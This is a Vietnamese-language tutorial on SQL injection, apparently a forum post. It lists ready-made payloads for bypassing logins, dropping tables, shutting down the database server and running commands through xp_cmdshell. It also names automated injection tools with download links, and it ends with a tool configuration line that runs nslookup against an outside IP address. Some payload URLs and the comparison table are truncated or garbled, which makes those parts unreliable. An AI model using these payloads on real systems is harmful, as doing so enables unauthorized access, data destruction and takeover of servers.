Nói thêm về SQL

Injection

Đa số các trang web hiện nay,tuỳ thuộc vào nội dung mà thiết

kế cho riêng mình 1 giao diện bắt mắt.Để làm việc này họ chỉ

cần download database từ trên Internet về và sữa đổi dữ liệu

đã được cập nhật từ 1 database.Một trong những nền phổ

biến cho web datastores là SQL.

Một hay nhiều ứng dụng web thì được đơn giản toàn bộ những

script đầu vào bằng cách truy vấn 1 SQL database,bản thân web

server hoặc 1 hệ thống đầu cuối riêng biệt.Một trong những cuộc

tấn công xảo quyệt nhất ứng dụng web bao gồm việc đánh cắp

queries sử dụng bởi bản thân những scripts đầu vào để tước

quyền điều khiển những ứng dụng hoặc dữ liệu của nó.Một trong

những cơ cấu có hiệu quả nhất để thực hiên điều này là kĩ thuật

được mang tên "SQL Injection".

SQL Injection chỉ việc đưa vào những đoạn truy vấn nguy hiểm

TransacSQL vào 1 vị trí để thực hiện những hoạt động không

ngờ.Thường thì những đoạn truy vấn hiện có đơn giản là Edit để

hoàn thành những kết quả tương tự.

TransactSQL thì dễ dàng vận dụng bằng sự thay thế 1 kí tự

đơn,tuỳ thuộc vào sự sáng suốt có kẻ tấn công để đưa ra những

đoạn truy vấn nguy hiểm.

Một số các kí tự thường được sử dụng để chèn dữ lịêu vào hợp lệ

trong bao gồm (');(--);và ;.Chúng có những ý nghĩa đặc biệt trong

Transact SQL.

Chúng ta sẽ tự hỏi là khi hacker đánh cắp được SQL query chúng

sẽ làm gì?.Ban đầu họ có thể xâm nhập trái phép các dữ liệu.Với

những kĩ thuật kín đáo,họ có thể truy cập 1 cách hợp pháp,hoặc

thậm chí là tìm cách hoàn toàn điều khiển toàn bộ webserver

hoặc hệ thống SQL đầu cuối.

Ví dụ về SQL Injection:Để tìm vị trí bị lỗi SQL Injection,ta gõ 1

số từ khoá trong Form field như sau:

+Đăng nhập hợp pháp:

-Xác nhận đúng mà không cần bất kì điều kiện nào:

USER:' OR "='

PASS:' OR "='

-Xác nhận đúng chỉ với username:

USER:admin'--

-Xác nhận đúng như là người dùng đầu tiên trong user table:

USER:' or 1=1--

-Xác nhận đúng như là 1 người dùng giả tạo:

USER:' union select 1,'user','passwd' 1--

+Phá hoại:

-Bỏ 1 bảng dữ liệu:

USER:';drop table users--

-Shutdown dữ liệu từ xa:

USER:aaaaaaaaaaaaaaa'

PASS:';shutdown--

+Thực thi chức năng yêu cầu lấy và lưu trữ những thủ tục:

-Thi hành xp_cmdshell để lấy 1 danh sách thư mục:

http://localhost/script?0';EXEC+master...#39;dir';--

-Thi hành xp_service control để chiếm đoạt service:

http://localhost/script?0';EXECT+maste...;server';--

Không phải cú pháp trên đều làm việc hầu hết trên các dữ

liệu.Thông tin sau sẽ cho biết những phương pháp chúng ta đã sơ

lược phía trên sẽ làm việc hay không trong những nền chứa dữ

liệu.Vì không kẻ bảng được nên mình gõ như sau cho dễ so sánh:

Datapase specific Information:---My SQL----Oracle-----DB2-----

-Postgre-----MSSQL

UNION possible:----------------------Y------------Y---------Y--------

----Y------------Y---

Subselects possible:-----------------N------------Y---------Y----------

--Y------------Y---

Multiple statements:-----------------N(mostly)---N---------N--------

--Y-------------Y--

Default stored procedures:---------_--Many(utf-file)------_----------

_-------M(cmdshell)

Other Comments:----------Supports"intooutfile"-_-------_-----------

_-------------_----

+Các công cụ tự động tìm lỗi SQL injection:

SQL Injection thường được thực hiện bằng kĩ thuật của

hacker,nhưng 1 vài công cụ có thể tự động quá trình nhận dạng

và khai thac chỗ yếu.Wpoison là công cụ có thể phát hiện lỗi

SQLInjection trong các trang web.Những đoạn string tìm lỗi SQL

thì được lưu trữ trong 1 file từ điển,và vì thế nó trở lên dễ dàng

cho bất kì ai thêm vào danh sách từ điển cho riêng mình.Wpoison

chạy trên Linux,có thể download tại:

http://wpoison.sourceforge.net

Ngoài ra còn có công cụ SPIKE Proxy,nó có các chức năng khá

tốt-tự động thực hiện SQL Injection -những d0oạn string sẽ được

Inject tuỳ vào thói quen người sử dụng .SPIKE Proxy là 1 Python

và OpenSSL-công cụ đánh giá ứng dụng web cơ bản có các chức

năng như HTTP và HTTPS Proxy...Nó cho phép người phát triển

web hoặc người quản trị ứng dụng web cấp thấp truy cập vào

tòan bộ phương tiện ứng dụng web,trong khi nó cũng cung cấp 1

nhóm các công cụ tự động và những kĩ năng khám phá ra những

lỗi thông thường,các công cụ đó bao gồm:SQL Injection,Website

Crawler,Login Form Brute Forcer,Automated Overflow

Detection..v.vSpike Proxy chạy trên Win32 và Linux,các bạn có

thể Download tại:

www.immunitysec.com/spike.html

Chú ý là phần mềm này nặng khoảng 13M và máy tính của bạn

phải có sẵn Python và OpenSSL.Trong WinXP công cụ này

không hoạt động.

Mieliekoek.pl là 1 SQL Insertion Crawler,có chức năng kiểm tra

các form liên quan đến lỗi SQL.Scrip này cung cấp 1 công cụ

Web mirroring như là dữ liệu vào,xem xét từng file và nhân diện

sự tồn tại các form trong file.Các chuỗi được Inject có thể dễ

dàng thay đổi trong file cấu hình.Download Mieliekoek tại:

http://packetstormsecurity.nl/UNIX/security/mieliekoek.pl

Công cụ này chỉ hoạt động khi máy bạn đã cài PERL.Sau đây là

1 ví dụ của dữ liệu xuất từ mieliekoek:

$badstring="blah''';

#$badstring="blah' or 1=1 --";

$badstring="blah' exec master..xp_cmdshell 'nslookup a.com

196.30.67.5' - ';